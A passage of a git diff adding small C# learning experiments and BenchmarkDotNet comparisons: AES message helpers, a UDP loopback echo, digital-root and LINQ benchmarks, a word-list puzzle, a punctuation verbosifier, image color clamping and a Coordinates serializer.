BinaryWriter(stream, Encoding.UTF8, true); + writer.Write(IPAddress.HostToNetworkOrder(aes.Key.Length)); + writer.Write(aes.Key); + writer.Write(IPAddress.HostToNetworkOrder(aes.IV.Length)); + writer.Write(aes.IV); +} + +static byte[] ReadEncryptedMessage(Stream inputStream, SymmetricAlgorithm aes) +{ + using var inputReader = new BinaryReader(inputStream, Encoding.UTF8, true); + using ICryptoTransform cryptoTransform = aes.CreateDecryptor(); + + // read unencrypted length header + using var buffer = new MemoryStream(); + int length = IPAddress.NetworkToHostOrder(inputReader.ReadInt32()); + Console.WriteLine($"Reading {length} bytes"); + buffer.Write(inputReader.ReadBytes(length)); + + // read encrypted data + Console.WriteLine($"Read {buffer.Length} bytes"); + Console.WriteLine("Decrypting..."); + buffer.Position = 0; + using var cryptoStream = new CryptoStream(buffer, cryptoTransform, CryptoStreamMode.Read); + using var gzip = new GZipStream(cryptoStream, CompressionMode.Decompress); + using var cryptoReader = new BinaryReader(gzip, Encoding.UTF8); + length = IPAddress.NetworkToHostOrder(cryptoReader.ReadInt32()); + Console.WriteLine($"Need to read {length} bytes"); + return cryptoReader.ReadBytes(length); +} + + static void SendEncryptedMessage(byte[] message, Stream outputStream, SymmetricAlgorithm aes) +{ + using var outputWriter = new BinaryWriter(outputStream, Encoding.UTF8, true); + using ICryptoTransform cryptoTransform = aes.CreateEncryptor(); + + // encrypt data + using var buffer = new MemoryStream(); + using var cryptoStream = new CryptoStream(buffer, cryptoTransform, CryptoStreamMode.Write); + using var gzip = new GZipStream(cryptoStream, CompressionMode.Compress); + using var cryptoWriter = new BinaryWriter(gzip, Encoding.UTF8); + cryptoWriter.Write(IPAddress.HostToNetworkOrder(message.Length)); + cryptoWriter.Write(message); + cryptoWriter.Flush(); + cryptoStream.FlushFinalBlock(); + + buffer.Position = 0; + + // sent encrypted data with unencrypted length header + Console.WriteLine($"Writing {buffer.Length} bytes"); + outputWriter.Write(IPAddress.HostToNetworkOrder((int)BitOperations.RoundUpToPowerOf2((uint)buffer.Length))); + buffer.CopyTo(outputStream); + outputStream.Flush(); + Console.WriteLine("Message sent"); +} diff --git a/csharp/E035-Expressions/E035-Expressions.csproj b/csharp/E035-Expressions/E035-Expressions.csproj new file mode 100644 index 0000000..e715d73 --- /dev/null +++ b/csharp/E035-Expressions/E035-Expressions.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E035_Expressions + enable + enable + + + diff --git a/csharp/E035-Expressions/Program.cs b/csharp/E035-Expressions/Program.cs new file mode 100644 index 0000000..0b7104d --- /dev/null +++ b/csharp/E035-Expressions/Program.cs @@ -0,0 +1,14 @@ +using System.Linq.Expressions; + +Foo(() => new Exception("Hello", new ArgumentException("World"))); +return; + +static void Foo(Expression> expression) +{ + foreach (Expression argument in (expression.Body as NewExpression)!.Arguments) + { + Console.WriteLine(argument); + } + + Console.WriteLine(string.Join(Environment.NewLine, expression.Parameters)); +} diff --git a/csharp/E036-NegateVsTimesMinus1Benchmarks/E036-NegateVsTimesMinus1Benchmarks.csproj b/csharp/E036-NegateVsTimesMinus1Benchmarks/E036-NegateVsTimesMinus1Benchmarks.csproj new file mode 100644 index 0000000..ee13287 --- /dev/null +++ b/csharp/E036-NegateVsTimesMinus1Benchmarks/E036-NegateVsTimesMinus1Benchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E036_NegateVsTimesMinus1Benchmarks + enable + enable + + + + + + + diff --git a/csharp/E036-NegateVsTimesMinus1Benchmarks/Program.cs b/csharp/E036-NegateVsTimesMinus1Benchmarks/Program.cs new file mode 100644 index 0000000..d34e06b --- /dev/null +++ b/csharp/E036-NegateVsTimesMinus1Benchmarks/Program.cs @@ -0,0 +1,20 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob] +public class NegateVsTimesMinus1Benchmarks +{ + [Benchmark] + [Arguments(1)] + [Arguments(10)] + [Arguments(100)] + public float Negate(float x) => -x; + + [Benchmark] + [Arguments(1)] + [Arguments(10)] + [Arguments(100)] + public float TimesMinus1(float x) => x * -1; +} diff --git a/csharp/E037-FractionReduce/E037-FractionReduce.csproj b/csharp/E037-FractionReduce/E037-FractionReduce.csproj new file mode 100644 index 0000000..94fee3d --- /dev/null +++ b/csharp/E037-FractionReduce/E037-FractionReduce.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E037_FractionReduce + enable + enable + + + diff --git a/csharp/E037-FractionReduce/Program.cs b/csharp/E037-FractionReduce/Program.cs new file mode 100644 index 0000000..6736d53 --- /dev/null +++ b/csharp/E037-FractionReduce/Program.cs @@ -0,0 +1,16 @@ +Console.WriteLine(Reduction(7, 16)); +return; + +static string Reduction(int numerator, int denominator) +{ + for (var i = 10; i > 1; i--) + { + while (numerator % i == 0 && denominator % i == 0) + { + numerator /= i; + denominator /= i; + } + } + + return $"{numerator}/{denominator}"; +} diff --git a/csharp/E038-RecursionBenchmarks/E038-RecursionBenchmarks.csproj b/csharp/E038-RecursionBenchmarks/E038-RecursionBenchmarks.csproj new file mode 100644 index 0000000..7ca966a --- /dev/null +++ b/csharp/E038-RecursionBenchmarks/E038-RecursionBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E038_RecursionBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E038-RecursionBenchmarks/Program.cs b/csharp/E038-RecursionBenchmarks/Program.cs new file mode 100644 index 0000000..d2fba52 --- /dev/null +++ b/csharp/E038-RecursionBenchmarks/Program.cs @@ -0,0 +1,55 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class RecursionBenchmarks +{ + [Benchmark] + [Arguments("C:\\Mame")] + public void ListFilesWithRecursion(string path) + { + try + { + foreach (string file in Directory.GetFiles(path)) + { + // print filename + } + + foreach (string subDir in Directory.GetDirectories(path)) + ListFilesWithRecursion(subDir); + } + catch (UnauthorizedAccessException) + { + // ignored + } + } + + [Benchmark] + [Arguments("C:\\Mame")] + public void ListFilesWithIteration(string path) + { + Queue queue = new Queue(); + queue.Enqueue(path); + + while (queue.Count > 0) + { + string currentDir = queue.Dequeue(); + try + { + foreach (string file in Directory.GetFiles(currentDir)) + { + // print filename + } + + foreach (string subDir in Directory.GetDirectories(currentDir)) + queue.Enqueue(subDir); + } + catch (UnauthorizedAccessException) + { + // ignored + } + } + } +} diff --git a/csharp/E039-UdpTest/E039-UdpTest.csproj b/csharp/E039-UdpTest/E039-UdpTest.csproj new file mode 100644 index 0000000..12c8440 --- /dev/null +++ b/csharp/E039-UdpTest/E039-UdpTest.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E039_UdpTest + enable + enable + + + diff --git a/csharp/E039-UdpTest/Program.cs b/csharp/E039-UdpTest/Program.cs new file mode 100644 index 0000000..b065e09 --- /dev/null +++ b/csharp/E039-UdpTest/Program.cs @@ -0,0 +1,40 @@ +using System.Net; +using System.Net.Sockets; +using System.Text; + +_ = Task.Run(ClientWorker); +_ = Task.Run(ServerWorker); + +await Task.Delay(-1); // keep app open +return; + +static async Task ClientWorker() +{ + using var client = new Socket(SocketType.Dgram, ProtocolType.Udp); + EndPoint endpoint = new IPEndPoint(IPAddress.Loopback, 1234); + + var message = new byte[11]; + Encoding.ASCII.GetBytes("Hello World", message); + + Console.WriteLine("[CLIENT] Sending message to server"); + await client.SendToAsync(message, SocketFlags.None, endpoint); + + Console.WriteLine("[CLIENT] Waiting for response"); + message = new byte[11]; + await client.ReceiveFromAsync(message, SocketFlags.None, endpoint); + + Console.WriteLine($"[CLIENT] Received response: \"{Encoding.ASCII.GetString(message)}\""); +} + +static async Task ServerWorker() +{ + using var server = new Socket(SocketType.Dgram, ProtocolType.Udp); + EndPoint endpoint = new IPEndPoint(IPAddress.Any, 1234); + server.Bind(endpoint); + + var buffer = new byte[11]; + SocketReceiveMessageFromResult result = await server.ReceiveMessageFromAsync(buffer, SocketFlags.None, endpoint); + + Console.WriteLine($"[SERVER] Server received \"{Encoding.ASCII.GetString(buffer)}\". Sending the same message back"); + await server.SendToAsync(buffer, SocketFlags.None, result.RemoteEndPoint); +} diff --git a/csharp/E040-CleverUsing/E040-CleverUsing.csproj b/csharp/E040-CleverUsing/E040-CleverUsing.csproj new file mode 100644 index 0000000..620777d --- /dev/null +++ b/csharp/E040-CleverUsing/E040-CleverUsing.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E040_CleverUsing + enable + enable + + + diff --git a/csharp/E040-CleverUsing/Program.cs b/csharp/E040-CleverUsing/Program.cs new file mode 100644 index 0000000..09fd3ff --- /dev/null +++ b/csharp/E040-CleverUsing/Program.cs @@ -0,0 +1,23 @@ +Console.WriteLine("This outputs in default color"); +using (new DisposableConsoleColor(ConsoleColor.Red)) +{ + Console.WriteLine("This outputs in red"); +} + +Console.WriteLine("This once again outputs in default color"); + +public class DisposableConsoleColor : IDisposable +{ + private readonly ConsoleColor _oldColor; + + public DisposableConsoleColor(ConsoleColor color) + { + _oldColor = Console.ForegroundColor; + Console.ForegroundColor = color; + } + + public void Dispose() + { + Console.ForegroundColor = _oldColor; + } +} diff --git a/csharp/E041-InheritanceTest/E041-InheritanceTest.csproj b/csharp/E041-InheritanceTest/E041-InheritanceTest.csproj new file mode 100644 index 0000000..f82f92d --- /dev/null +++ b/csharp/E041-InheritanceTest/E041-InheritanceTest.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E041_InheritanceTest + enable + enable + + + diff --git a/csharp/E041-InheritanceTest/Program.cs b/csharp/E041-InheritanceTest/Program.cs new file mode 100644 index 0000000..f11086b --- /dev/null +++ b/csharp/E041-InheritanceTest/Program.cs @@ -0,0 +1,18 @@ +new DerivedClass(42); + +public abstract class BaseClass +{ + protected BaseClass() => DoSomething(); + protected BaseClass(int x) => DoSomething(); + + public abstract void DoSomething(); +} + +public sealed class DerivedClass : BaseClass +{ + private readonly int _someInt = 10; + + public DerivedClass(int x) => _someInt = x; + + public override void DoSomething() => Console.WriteLine(_someInt); +} diff --git a/csharp/E042-LinqBenchmarks/E042-LinqBenchmarks.csproj b/csharp/E042-LinqBenchmarks/E042-LinqBenchmarks.csproj new file mode 100644 index 0000000..76dfe60 --- /dev/null +++ b/csharp/E042-LinqBenchmarks/E042-LinqBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E042_LinqBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E042-LinqBenchmarks/Program.cs b/csharp/E042-LinqBenchmarks/Program.cs new file mode 100644 index 0000000..4d85b7f --- /dev/null +++ b/csharp/E042-LinqBenchmarks/Program.cs @@ -0,0 +1,35 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class LinqBenchmarks +{ + private readonly List _list = Enumerable.Range(1, 1000000).ToList(); + + [Benchmark] + public int[] CustomLoop() + { + var array = new int[_list.Count]; + var resultIndex = 0; + + for (var index = 0; index < _list.Count; index++) + { + if (_list[index] % 2 == 0) + { + array[resultIndex++] = _list[index]; + } + } + + Array.Resize(ref array, resultIndex); + Array.Sort(array, (a, b) => b - a); + return array; + } + + [Benchmark] + public int[] Where_OrderByDescending() + { + return _list.Where(i => i % 2 == 0).OrderByDescending(i => i).ToArray(); + } +} diff --git a/csharp/E043-AllNumericExceptBenchmarks/E043-AllNumericExceptBenchmarks.csproj b/csharp/E043-AllNumericExceptBenchmarks/E043-AllNumericExceptBenchmarks.csproj new file mode 100644 index 0000000..a606893 --- /dev/null +++ b/csharp/E043-AllNumericExceptBenchmarks/E043-AllNumericExceptBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E043_AllNumericExceptBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E043-AllNumericExceptBenchmarks/Program.cs b/csharp/E043-AllNumericExceptBenchmarks/Program.cs new file mode 100644 index 0000000..9303e4d --- /dev/null +++ b/csharp/E043-AllNumericExceptBenchmarks/Program.cs @@ -0,0 +1,42 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class AllNumericExceptBenchmarks +{ + [Benchmark] + [Arguments("1234567890a", 10)] + [Arguments("12345678901", 10)] + [Arguments("a2345678901", 10)] + [Arguments("12345678901", 10)] + [Arguments("aaaaaaaaaaa", 10)] + public bool AlphaAnar(string str, int charIndex) + { + for (var index = 0; index < str.Length; index++) + { + if (char.IsDigit(str[index]) ^ index != charIndex) + return false; + } + + return true; + } + + [Benchmark] + [Arguments("1234567890a", 10)] + [Arguments("12345678901", 10)] + [Arguments("a2345678901", 10)] + [Arguments("12345678901", 10)] + [Arguments("aaaaaaaaaaa", 10)] + public bool Yasahiro(string str, int charIndex) + { + for (var index = 0; index < str.Length; index++) + { + if (!char.IsDigit(str[index]) ^ index == charIndex) + return false; + } + + return true; + } +} diff --git a/csharp/E044-FiveFiveLetter/E044-FiveFiveLetter.csproj b/csharp/E044-FiveFiveLetter/E044-FiveFiveLetter.csproj new file mode 100644 index 0000000..de929f7 --- /dev/null +++ b/csharp/E044-FiveFiveLetter/E044-FiveFiveLetter.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E044_FiveFiveLetter + enable + enable + + + diff --git a/csharp/E044-FiveFiveLetter/Program.cs b/csharp/E044-FiveFiveLetter/Program.cs new file mode 100644 index 0000000..73b991b --- /dev/null +++ b/csharp/E044-FiveFiveLetter/Program.cs @@ -0,0 +1,69 @@ +const string Url = "https://raw.githubusercontent.com/dwyl/english-words/master/words_alpha.txt"; +var letters = new Dictionary(); +using var httpClient = new HttpClient(); + +var words = new List(); + +if (File.Exists("words_alpha.txt")) +{ + Console.WriteLine("Loading word list..."); + words = (await File.ReadAllLinesAsync("words_alpha.txt").ConfigureAwait(false)).ToList(); + Console.WriteLine($"Loaded {words.Count} words"); +} +else +{ + Console.WriteLine("Downloading word list..."); + + await using Stream stream = await httpClient.GetStreamAsync(Url).ConfigureAwait(false); + using var reader = new StreamReader(stream); + while (!reader.EndOfStream && await reader.ReadLineAsync().ConfigureAwait(false) is { } line) + words.Add(line); + + await File.WriteAllLinesAsync("words_alpha.txt", words).ConfigureAwait(false); + Console.WriteLine($"Downloaded {words.Count} words"); +} + +Console.WriteLine("Removing words greater than 5 characters..."); +words.RemoveAll(word => word.Length > 5); +Console.WriteLine($"Remaining {words.Count} words"); + +Console.WriteLine("Removing words with duplicate letters..."); +words.RemoveAll(word => word.Length != new HashSet(word).Count); +Console.WriteLine($"Remaining {words.Count} words"); + +Console.WriteLine("Removing anagrams..."); +words.RemoveAll(word => words.Any(other => other != word && other.Length == word.Length && IsAnagram(word, other))); +Console.WriteLine($"Remaining {words.Count} words"); + +Console.WriteLine("Searching for 5-letter words..."); + +var currentSet = new Queue(); +foreach (string word in words) +{ + currentSet.Enqueue(word); + foreach (string other in words) + { + currentSet.Enqueue(other); + if (word == other) + { + currentSet.Dequeue(); + continue; + } + + if (word.Any(c => other.Contains(c))) + { + currentSet.Dequeue(); + } + } +} + +return; + +bool IsAnagram(string word, string other) +{ + letters.Clear(); + foreach (char letter in word) letters[letter] = letters.TryGetValue(letter, out int count) ? count + 1 : 1; + foreach (char letter in other) letters[letter] = letters.TryGetValue(letter, out int count) ? count - 1 : -1; + bool result = letters.Values.All(count => count == 0); + return result; +} diff --git a/csharp/E045-VerbosePunctuation/E045-VerbosePunctuation.csproj b/csharp/E045-VerbosePunctuation/E045-VerbosePunctuation.csproj new file mode 100644 index 0000000..4f94ad6 --- /dev/null +++ b/csharp/E045-VerbosePunctuation/E045-VerbosePunctuation.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E045_VerbosePunctuation + enable + enable + + + diff --git a/csharp/E045-VerbosePunctuation/Program.cs b/csharp/E045-VerbosePunctuation/Program.cs new file mode 100644 index 0000000..e0459c2 --- /dev/null +++ b/csharp/E045-VerbosePunctuation/Program.cs @@ -0,0 +1,88 @@ +using System.Text; + +while (true) +{ + Console.ResetColor(); + string input = Console.ReadLine()!; + + Console.ForegroundColor = ConsoleColor.Green; + Console.WriteLine(Verbosify(input)); +} + +static string Verbosify(string input) +{ + while (input.Contains("...")) + input = input.Replace("...", "…"); + + input = input.Replace("?!", "‽"); + input = input.Replace("!?", "‽"); + input = input.Replace("?‽", "‽"); + input = input.Replace("!‽", "‽"); + input = input.Replace('“', '"'); + input = input.Replace('”', '"'); + input = input.Replace('‘', '\''); + input = input.Replace('’', '\''); + + var builder = new StringBuilder(); + foreach (char character in input) + { + if (char.IsLetter(character)) builder.Append(character); + else + { + switch (character) + { + case '0': builder.Append(" zero "); break; + case '1': builder.Append(" one "); break; + case '2': builder.Append(" two "); break; + case '3': builder.Append(" three "); break; + case '4': builder.Append(" four "); break; + case '5': builder.Append(" five "); break; + case '6': builder.Append(" six "); break; + case '7': builder.Append(" seven "); break; + case '8': builder.Append(" eight "); break; + case '9': builder.Append(" nine "); break; + case '…': builder.Append(" ellipsis "); break; + case '.': builder.Append(" period "); break; + case ',': builder.Append(" comma "); break; + case ':': builder.Append(" colon "); break; + case ';': builder.Append(" semicolon "); break; + case '‽': builder.Append(" interrobang "); break; + case '!': builder.Append(" exclamation mark "); break; + case '?': builder.Append(" question mark "); break; + case '\'': builder.Append(" apostrophe "); break; + case '"': builder.Append(" quotation mark "); break; + case '-': builder.Append(" hyphen "); break; + case '_': builder.Append(" underscore "); break; + case '(': builder.Append(" open parenthesis "); break; + case ')': builder.Append(" close parenthesis "); break; + case '{': builder.Append(" open brace "); break; + case '}': builder.Append(" close brace "); break; + case '[': builder.Append(" open bracket "); break; + case ']': builder.Append(" close bracket "); break; + case '<': builder.Append(" open chevon "); break; + case '>': builder.Append(" close chevon "); break; + case '+': builder.Append(" plus "); break; + case '=': builder.Append(" equals "); break; + case '*': builder.Append(" asterisk "); break; + case '%': builder.Append(" percent "); break; + case '$': builder.Append(" dollar "); break; + case '#': builder.Append(" hash "); break; + case '@': builder.Append(" at "); break; + case '&': builder.Append(" ampersand "); break; + case '|': builder.Append(" pipe "); break; + case '\\': builder.Append(" backslash "); break; + case '/': builder.Append(" slash "); break; + case '^': builder.Append(" caret "); break; + case '~': builder.Append(" tilde "); break; + case '`': builder.Append(" grave accent "); break; + default: builder.Append(character); break; + } + } + } + + var result = builder.ToString(); + while (result.Contains(" ")) + result = result.Replace(" ", " "); + + return result.Trim(); +} \ No newline at end of file diff --git a/csharp/E046-DigitalRootBenchmarks/E046-DigitalRootBenchmarks.csproj b/csharp/E046-DigitalRootBenchmarks/E046-DigitalRootBenchmarks.csproj new file mode 100644 index 0000000..14f9798 --- /dev/null +++ b/csharp/E046-DigitalRootBenchmarks/E046-DigitalRootBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E046_DigitalRootBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E046-DigitalRootBenchmarks/Program.cs b/csharp/E046-DigitalRootBenchmarks/Program.cs new file mode 100644 index 0000000..20e4e50 --- /dev/null +++ b/csharp/E046-DigitalRootBenchmarks/Program.cs @@ -0,0 +1,69 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class DigitalRootBenchmarks +{ + private const int Number = 2958171; + + [Benchmark] + [Arguments(Number)] + public int DigitalRoot_Chars(int number) + { + while (number > 9) + { + var digits = number.ToString(); + var sum = 0; + + foreach (char digit in digits) + sum += int.Parse(digit.ToString()); + + number = sum; + } + + return number; + } + + [Benchmark] + [Arguments(Number)] + public int DigitalRoot_Standard(int number) + { + while (number > 9) + { + var sum = 0; + + for (; number > 0; number /= 10) + sum += number % 10; + + number = sum; + } + + return number; + } + + [Benchmark] + [Arguments(Number)] + public int DigitalRoot_Recursion(int number) + { + var sum = 0; + + while (number > 0) + { + sum += number % 10; + number /= 10; + } + + if (sum > 10) sum = DigitalRoot_Recursion(sum); + return sum; + } + + [Benchmark] + [Arguments(Number)] + public int DigitalRoot_Optimal(int number) + { + int result = number % 9; + return result == 0 ? 9 : result; + } +} diff --git a/csharp/E047-DigitalRoot/E047-DigitalRoot.csproj b/csharp/E047-DigitalRoot/E047-DigitalRoot.csproj new file mode 100644 index 0000000..e24f757 --- /dev/null +++ b/csharp/E047-DigitalRoot/E047-DigitalRoot.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E047_DigitalRoot + enable + enable + + + diff --git a/csharp/E047-DigitalRoot/Program.cs b/csharp/E047-DigitalRoot/Program.cs new file mode 100644 index 0000000..bf6f0e3 --- /dev/null +++ b/csharp/E047-DigitalRoot/Program.cs @@ -0,0 +1,58 @@ +const int number = 2958171; + +Console.WriteLine(DigitalRoot_Standard(number)); +Console.WriteLine(DigitalRoot_Chars(number)); +Console.WriteLine(DigitalRoot_Recursion(number)); +Console.WriteLine(DigitalRoot_Optimal(number)); +return; + +static int DigitalRoot_Chars(int number) +{ + while (number > 9) + { + var digits = number.ToString(); + var sum = 0; + + foreach (char digit in digits) + sum += int.Parse(digit.ToString()); + + number = sum; + } + + return number; +} + +static int DigitalRoot_Standard(int number) +{ + while (number > 9) + { + var sum = 0; + + for (; number > 0; number /= 10) + sum += number % 10; + + number = sum; + } + + return number; +} + +static int DigitalRoot_Recursion(int number) +{ + var sum = 0; + + while (number > 0) + { + sum += number % 10; + number /= 10; + } + + if (sum > 10) sum = DigitalRoot_Recursion(sum); + return sum; +} + +static int DigitalRoot_Optimal(int number) +{ + int result = number % 9; + return result == 0 ? 9 : result; +} diff --git a/csharp/E048-ColorClamping/E048-ColorClamping.csproj b/csharp/E048-ColorClamping/E048-ColorClamping.csproj new file mode 100644 index 0000000..1d8b0fa --- /dev/null +++ b/csharp/E048-ColorClamping/E048-ColorClamping.csproj @@ -0,0 +1,22 @@ + + + + Exe + net8.0 + E048_ColorClamping + enable + enable + + + + + + + + + + Always + + + + diff --git a/csharp/E048-ColorClamping/Program.cs b/csharp/E048-ColorClamping/Program.cs new file mode 100644 index 0000000..1da8d7b --- /dev/null +++ b/csharp/E048-ColorClamping/Program.cs @@ -0,0 +1,20 @@ +using SixLabors.ImageSharp; +using SixLabors.ImageSharp.Drawing.Processing; +using SixLabors.ImageSharp.PixelFormats; +using SixLabors.ImageSharp.Processing; + +using var image = Image.Load("bliss.png"); +image.Mutate(ctx => +{ + // ReSharper disable AccessToDisposedClosure + for (var y = 0; y < image.Height; y++) + for (var x = 0; x < image.Width; x++) + { + const int n = 50; + Rgba32 color = image[x, y]; + color = new Rgba32(color.R / n * n, color.G / n * n, color.B / n * n, color.A); + ctx.FillPolygon(color, new PointF(x, y), new PointF(x + 1, y), new PointF(x + 1, y + 1), new PointF(x, y + 1)); + } +}); + +image.Save("result.png"); diff --git a/csharp/E048-ColorClamping/bliss.png b/csharp/E048-ColorClamping/bliss.png new file mode 100644 index 0000000..22ceab5 Binary files /dev/null and b/csharp/E048-ColorClamping/bliss.png differ diff --git a/csharp/E049-CoordinateBenchmarks/Coordinates.cs b/csharp/E049-CoordinateBenchmarks/Coordinates.cs new file mode 100644 index 0000000..6aae9dc --- /dev/null +++ b/csharp/E049-CoordinateBenchmarks/Coordinates.cs @@ -0,0 +1,445 @@ +using System.Globalization; +using System.Text; +using Cysharp.Text; +using X10D.Linq; +using X10D.Text; + +/// +/// Represents a set of coordinates. +/// +public readonly struct Coordinates +{ + /// + /// Initializes a new instance of the struct. + /// + /// The X coordinate. + /// The Y coordinate. + /// The Z coordinate. + /// The yaw. + /// + /// if these coordinates represent relative coordinates; otherwise. + /// + public Coordinates(double x, double y, double z, double yaw, bool isRelative = false) + : this(null, x, y, z, yaw, isRelative) + { + } + + /// + /// Initializes a new instance of the struct. + /// + /// The world name. + /// The X coordinate. + /// The Y coordinate. + /// The Z coordinate. + /// The yaw. + /// + /// if these coordinates represent relative coordinates; otherwise. + /// + public Coordinates(string? world, double x, double y, double z, double yaw, bool isRelative = false) + { + World = world; + X = x; + Y = y; + Z = z; + Yaw = yaw; + IsRelative = isRelative; + } + + /// + /// Gets or initializes a value indicating whether this instance represents relative coordinates. + /// + /// + /// if this instance represents relative coordinates; otherwise, . + /// + public bool IsRelative { get; init; } + + /// + /// Gets or initializes the world. + /// + /// The world. + public string? World { get; init; } + + /// + /// Gets or initializes the X coordinate. + /// + /// The X coordinate. + public double X { get; init; } + + /// + /// Gets or initializes the Y coordinate. + /// + /// The Y coordinate. + public double Y { get; init; } + + /// + /// Gets or initializes the yaw. + /// + /// The yaw. + public double Yaw { get; init; } + + /// + /// Gets or initializes the Z coordinate. + /// + /// The Z coordinate. + public double Z { get; init; } + + public static bool operator ==(Coordinates left, Coordinates right) => + left.Equals(right); + + public static bool operator !=(Coordinates left, Coordinates right) => + !(left == right); + + /// + /// Parses a coordinate string. + /// + /// The coordinates to parse. + /// An instance of . + public static Coordinates Parse(string coordinates) + { + return Serializer.Deserialize(coordinates); + } + + /// + /// Returns a value indicating whether this instance of and another instance of + /// are equal. + /// + /// The instance against which to compare. + /// + /// if this instance is equal to ; otherwise, . + /// + public bool Equals(Coordinates other) + { + return X.Equals(other.X) && + Y.Equals(other.Y) && + Z.Equals(other.Z) && + Yaw.Equals(other.Yaw) && + IsRelative.Equals(other.IsRelative) && + string.Equals(World, other.World); + } + + /// + public override bool Equals(object? obj) + { + return obj is Coordinates other && Equals(other); + } + + /// + public override int GetHashCode() + { + return HashCode.Combine(World, X, Y, Z, Yaw); + } + + /// + /// Returns the string representation of these coordinates. + /// + /// A representation of these coordinates. + public override string ToString() + { + return ToString("{0}"); + } + + /// + /// Returns the string representation of these coordinates. + /// + /// The format to apply to each component. + /// A representation of these coordinates. + public string ToString(string format) + { + return Serializer.Serialize(this, format); + } + + internal static class Serializer + { + public static string Serialize(in Coordinates coordinates, string format) + { + int count = Serialize(coordinates, format, Span.Empty); + Span chars = stackalloc char[count]; + Serialize(coordinates, format, chars); + return chars.ToString(); + } + + public static int Serialize(in Coordinates coordinates, string format, Span destination) + { + using Utf8ValueStringBuilder builder = ZString.CreateUtf8StringBuilder(); + + if (!string.IsNullOrWhiteSpace(coordinates.World)) + { + builder.Append(coordinates.World); + builder.Append(' '); + } + + bool north = coordinates.Z >= 0.0; + bool west = coordinates.X >= 0.0; + bool up = coordinates.Y >= 0.0; + bool dir = coordinates.Yaw >= 0.0; + + if (coordinates.IsRelative) + { + if (north) + { + builder.Append('+'); + } + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, coordinates.Z)); + builder.Append(' '); + + if (west) + { + builder.Append('+'); + } + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, coordinates.X)); + builder.Append(' '); + + if (up) + { + builder.Append('+'); + } + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, coordinates.Y)); + builder.Append("a "); + + if (up) + { + builder.Append('+'); + } + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, coordinates.Yaw)); + } + else + { + char zChar = north ? 'n' : 's'; + char xChar = west ? 'w' : 'e'; + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, Math.Abs(coordinates.Z))); + builder.Append(zChar); + builder.Append(' '); + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, Math.Abs(coordinates.X))); + builder.Append(xChar); + builder.Append(' '); + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, coordinates.Y)); + builder.Append("a "); + + builder.Append(string.Format(CultureInfo.InvariantCulture, format, coordinates.Yaw)); + } + + ReadOnlySpan bytes = builder.AsSpan(); + Span chars = stackalloc char[bytes.Length]; + Encoding.UTF8.GetChars(bytes, chars); + + for (var index = 0; index < destination.Length; index++) + { + destination[index] = chars[index]; + } + + return builder.Length; + } + + public static Coordinates Deserialize(ReadOnlySpan value) + { + using Utf8ValueStringBuilder builder = ZString.CreateUtf8StringBuilder(); + string? world = null; + var isRelative = false; + double x = 0.0, y = 0.0, z = 0.0, yaw = 0.0; + + var word = 0; + for (var index = 0; index < value.Length; index++) + { + char current = value[index]; + bool atEnd = index == value.Length - 1; + + if (atEnd || char.IsWhiteSpace(current)) + { + if (!builder.AsSpan().All(b => char.IsWhiteSpace((char)b))) + { + if (atEnd) + { + builder.Append(current); + } + + ProcessBuffer(); + word++; + } + + builder.Clear(); + } + else + { + builder.Append(current); + } + } + + return new Coordinates(world, x, y, z, yaw, isRelative); + + void ProcessBuffer() + { + ReadOnlySpan bytes = builder.AsSpan(); + Span chars = stackalloc char[bytes.Length]; + Encoding.UTF8.GetChars(bytes, chars); + bool hasWorld = !string.IsNullOrWhiteSpace(world); + + if (word == 0 && !IsUnitString(bytes)) + { + world = chars.ToString().AsNullIfWhiteSpace(); + } + else if (IsRelativeUnit(bytes)) + { + isRelative = true; + + switch (word) + { + case 0 when !hasWorld: + case 1 when hasWorld: + double.TryParse(chars, NumberStyles.Float, CultureInfo.InvariantCulture, out z); + break; + case 1 when !hasWorld: + case 2 when hasWorld: + double.TryParse(chars, NumberStyles.Float, CultureInfo.InvariantCulture, out x); + break; + case 2 when !hasWorld: + case 3 when hasWorld: + double.TryParse(chars, NumberStyles.Float, CultureInfo.InvariantCulture, out y); + break; + case 3 when !hasWorld: + case 4 when hasWorld: + double.TryParse(chars, NumberStyles.Float, CultureInfo.InvariantCulture, out yaw); + break; + } + } + else + { + if (((!hasWorld && word == 1) || (hasWorld && word == 2)) && chars[^1] is 'x' or 'X' or 'w' or 'W') + { + _ = double.TryParse(chars[..^1], NumberStyles.Float, CultureInfo.InvariantCulture, out x); + } + else if (((!hasWorld && word == 0) || (hasWorld && word == 1)) 